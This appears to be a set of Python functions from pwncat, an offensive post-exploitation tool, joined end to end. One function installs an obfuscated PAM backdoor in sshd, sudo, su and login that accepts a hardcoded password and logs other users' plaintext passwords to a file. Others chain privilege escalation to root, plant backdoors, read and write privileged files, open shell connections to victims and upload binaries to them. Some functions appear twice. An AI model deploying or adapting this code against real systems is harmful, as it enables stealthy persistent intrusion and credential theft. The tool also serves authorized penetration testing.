def install(self, user: Optional[str] = None): """ Install the persistence method """ if pwncat.victim.current_user.id != 0: raise PersistenceError("must be root") # Source to our module sneaky_source = textwrap.dedent(""" I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7 CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7 CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50 ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7 Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== """).replace("\n", "") sneaky_source = base64.b64decode(sneaky_source).decode("utf-8") # We use the backdoor password. Build the string of encoded bytes # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; password = hashlib.sha1( pwncat.victim.config["backdoor_pass"].encode("utf-8")).digest() password = "******".join(hex(c) for c in password) # Insert our key sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password) # Insert the log location for successful passwords sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog") # Write the source try: util.progress("pam_sneaky: compiling shared library") try: # Compile our source for the remote host lib_path = pwncat.victim.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (FileNotFoundError, CompilationError) as exc: raise PersistenceError(f"pam: compilation failed: {exc}") util.progress("pam_sneaky: locating pam module location") # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" try: results = (pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"). strip().decode("utf-8")) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) except FileNotFoundError: pass util.progress(f"pam_sneaky: pam modules located in {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Copy the module to a non-suspicious path util.progress( f"pam_sneaky: copying shared library to {pam_modules}") pwncat.victim.env([ "mv", lib_path, os.path.join(pam_modules, "pam_succeed.so") ]) new_line = "auth\tsufficient\tpam_succeed.so\n" util.progress(f"pam_sneaky: adding pam auth configuration") # Add this auth method to the following pam configurations for config in ["sshd", "sudo", "su", "login"]: util.progress( f"pam_sneaky: adding pam auth configuration: {config}") config = os.path.join("/etc/pam.d", config) try: # Read the original content with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # We need to know if there is a rootok line. If there is, # we should add our line after it to ensure that rootok still # works. contains_rootok = any("pam_rootok" in line for line in content) # Add this auth statement before the first auth statement for i, line in enumerate(content): # We either insert after the rootok line or before the first # auth line, depending on if rootok is present if contains_rootok and "pam_rootok" in line: content.insert(i + 1, new_line) elif not contains_rootok and line.startswith("auth"): content.insert(i, new_line) break else: content.append(new_line) content = "".join(content) try: with pwncat.victim.open(config, "w", length=len(content)) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue pwncat.victim.tamper.created_file("/var/log/firstlog") util.erase_progress() except FileNotFoundError as exc: # A needed binary wasn't found. Clean up whatever we created. raise PersistenceError(str(exc))
def do_privesc(self, argv): """ Attempt privilege escalation """ parser = argparse.ArgumentParser(prog="privesc") parser.add_argument( "--list", "-l", action="store_true", help="do not perform escalation. list potential escalation methods", ) parser.add_argument( "--all", "-a", action="store_const", dest="user", const=None, help= "when listing methods, list for all users. when escalating, escalate to root.", ) parser.add_argument( "--user", "-u", choices=[user for user in self.users], default="root", help="the target user", ) parser.add_argument( "--max-depth", "-m", type=int, default=None, help="Maximum depth for the privesc search (default: no maximum)", ) parser.add_argument( "--read", "-r", type=str, default=None, help="remote filename to try and read", ) parser.add_argument( "--write", "-w", type=str, default=None, help="attempt to write to a remote file as the specified user", ) parser.add_argument( "--data", "-d", type=str, default=None, help="the data to write a file. ignored if not write mode", ) parser.add_argument( "--text", "-t", action="store_true", default=False, help="whether to use safe readers/writers", ) try: args = parser.parse_args(argv) except SystemExit: # The arguments were parsed incorrectly, return. return if args.list: techniques = self.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.read: try: read_pipe, chain = self.privesc.read_file( args.read, args.user, args.max_depth) # Read the data from the pipe sys.stdout.buffer.write(read_pipe.read(4096)) read_pipe.close() # Unwrap in case we had to privesc to get here self.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.write: if args.data is None: util.error("no data specified") else: if args.data.startswith("@"): with open(args.data[1:], "rb") as f: data = f.read() else: data = args.data.encode("utf-8") try: chain = self.privesc.write_file( args.write, data, safe=not args.text, target_user=args.user, depth=args.max_depth, ) self.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") else: try: chain = self.privesc.escalate(args.user, args.max_depth) ident = self.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: self.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) self.reset() self.do_back([]) except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def escalate( self, target_user: str = None, depth: int = None, chain: List[Technique] = [], starting_user=None, ) -> List[Tuple[Technique, str]]: """ Search for a technique chain which will gain access as the given user. """ if target_user is None: target_user = "******" if target_user == "root" and self.backdoor_user: target_user = self.backdoor_user["name"] current_user = self.pty.current_user if (target_user == current_user["name"] or current_user["uid"] == 0 or current_user["name"] == "root"): raise PrivescError(f"you are already {current_user['name']}") if starting_user is None: starting_user = current_user if depth is not None and len(chain) > depth: raise PrivescError("max depth reached") # Enumerate escalation options for this user techniques = [] for method in self.methods: try: util.progress(f"evaluating {method} method") found_techniques = method.enumerate(capability=Capability.SHELL | Capability.SUDO | Capability.WRITE) for tech in found_techniques: if tech.user == target_user: try: util.progress(f"evaluating {tech}") exit_command = self.escalate_single( tech) # tech.method.execute(tech) chain.append((tech, exit_command)) return chain except PrivescError: pass techniques.extend(found_techniques) except PrivescError: pass # We can't escalate directly to the target. Instead, try recursively # against other users. for tech in techniques: if tech.user == target_user: continue if self.in_chain(tech.user, chain): continue try: exit_command = self.escalate_single( tech) # tech.method.execute(tech) chain.append((tech, exit_command)) except PrivescError: continue try: return self.escalate(target_user, depth, chain, starting_user) except PrivescError: tech, exit_command = chain[-1] self.pty.run(exit_command, wait=False) chain.pop() raise PrivescError(f"no route to {target_user} found")
def run(self, args): if pwncat.victim.client is not None: util.error( "connect can only be called prior to an active connection!") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: self.parser.error(str(exc)) if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" util.progress(f"binding to {args.host}:{args.port}") # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: util.warn(f"aborting listener...") return util.success(f"received connection from {address[0]}:{address[1]}") pwncat.victim.connect(client) elif args.action == "connect": if not args.host: self.parser.error( "host address is required for outbound connections") util.progress(f"connecting to {args.host}:{args.port}") # Connect to the remote host client = socket.create_connection((args.host, args.port)) util.success(f"connection to {args.host}:{args.port} established") pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: util.error(str(exc)) return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() util.error("ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: util.error(f"authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) util.progress(f"enumerating persistence methods for {addr}") host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: util.error(f"{args.host}: not found in database") return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: util.error(f"{args.host}: connection failed") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue print( f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}" ) for p in host.persistence: print( f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}" ) else: util.error(f"{args.action}: invalid action")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except PermissionError: self.parser.error(f"no local permission to read: {args.data}") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "mismatched euid and uid; attempting backdoor installation." ) for method in pwncat.victim.persist.available: if not method.system or not method.local: continue try: # Attempt to install this persistence method pwncat.victim.persist.install(method.name) if not method.escalate(): # The escalation didn't work, remove it and try the next pwncat.victim.persist.remove(method.name) continue chain.append(( f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)", "exit", )) break except PersistenceError: continue util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file with open(args.data, "rb") as f: data = f.read() try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: pwncat.victim.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
def bootstrap_busybox(self, url): """ Utilize the architecture we grabbed from `uname -m` to grab a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins) """ if self.has_busybox: util.success("busybox is already available!") return busybox_remote_path = self.which("busybox") if busybox_remote_path is None: # We use the stable busybox version at the time of writing. This should # probably be configurable. busybox_url = url.rstrip("/") + "/busybox-{arch}" # Attempt to download the busybox binary r = requests.get(busybox_url.format(arch=self.arch), stream=True) # No busybox support if r.status_code == 404: util.warn(f"no busybox for architecture: {self.arch}") return # Grab the original_content length if provided length = r.headers.get("Content-Length", None) if length is not None: length = int(length) # Stage a temporary file for busybox busybox_remote_path = ( self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip() ) # Open the remote file for writing with self.open(busybox_remote_path, "wb", length=length) as filp: # Local function for transferring the original_content def transfer(on_progress): for chunk in r.iter_content(chunk_size=1024 * 1024): filp.write(chunk) on_progress(len(chunk)) # Run the transfer with a progress bar util.with_progress( f"uploading busybox for {self.arch}", transfer, length, ) # Make busybox executable self.run(f"chmod +x {shlex.quote(busybox_remote_path)}") # Custom tamper to remove busybox and stop tracking it here self.tamper.custom( ( f"{Fore.RED}installed{Fore.RESET} {Fore.GREEN}busybox{Fore.RESET} " f"to {Fore.CYAN}{busybox_remote_path}{Fore.RESET}" ), self.remove_busybox, ) util.success( f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}" ) else: # Busybox was provided on the system! util.success(f"busybox already installed on remote system!") # Check what this busybox provides util.progress("enumerating provided applets") pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list") provides = pipe.read().decode("utf-8").strip().split("\n") pipe.close() # prune any entries which the system marks as SETUID or SETGID stat = self.which("stat", quote=True) if stat is not None: util.progress("enumerating remote binary permissions") which_provides = [f"`which {p}`" for p in provides] new_provides = [] with self.subprocess( f"{stat} -c %A {' '.join(which_provides)}", "r" ) as pipe: for name, perms in zip(provides, pipe): perms = perms.decode("utf-8").strip().lower() if "no such" in perms: # The remote system doesn't have this binary continue if "s" not in perms: util.progress( f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox" ) new_provides.append(name) else: util.progress( f"pruning {Fore.RED}{name}{Fore.RESET} from busybox" ) util.success(f"pruned {len(provides)-len(new_provides)} setuid entries") provides = new_provides # Let the class know we now have access to busybox self.busybox_provides = provides self.has_busybox = True self.busybox_path = busybox_remote_path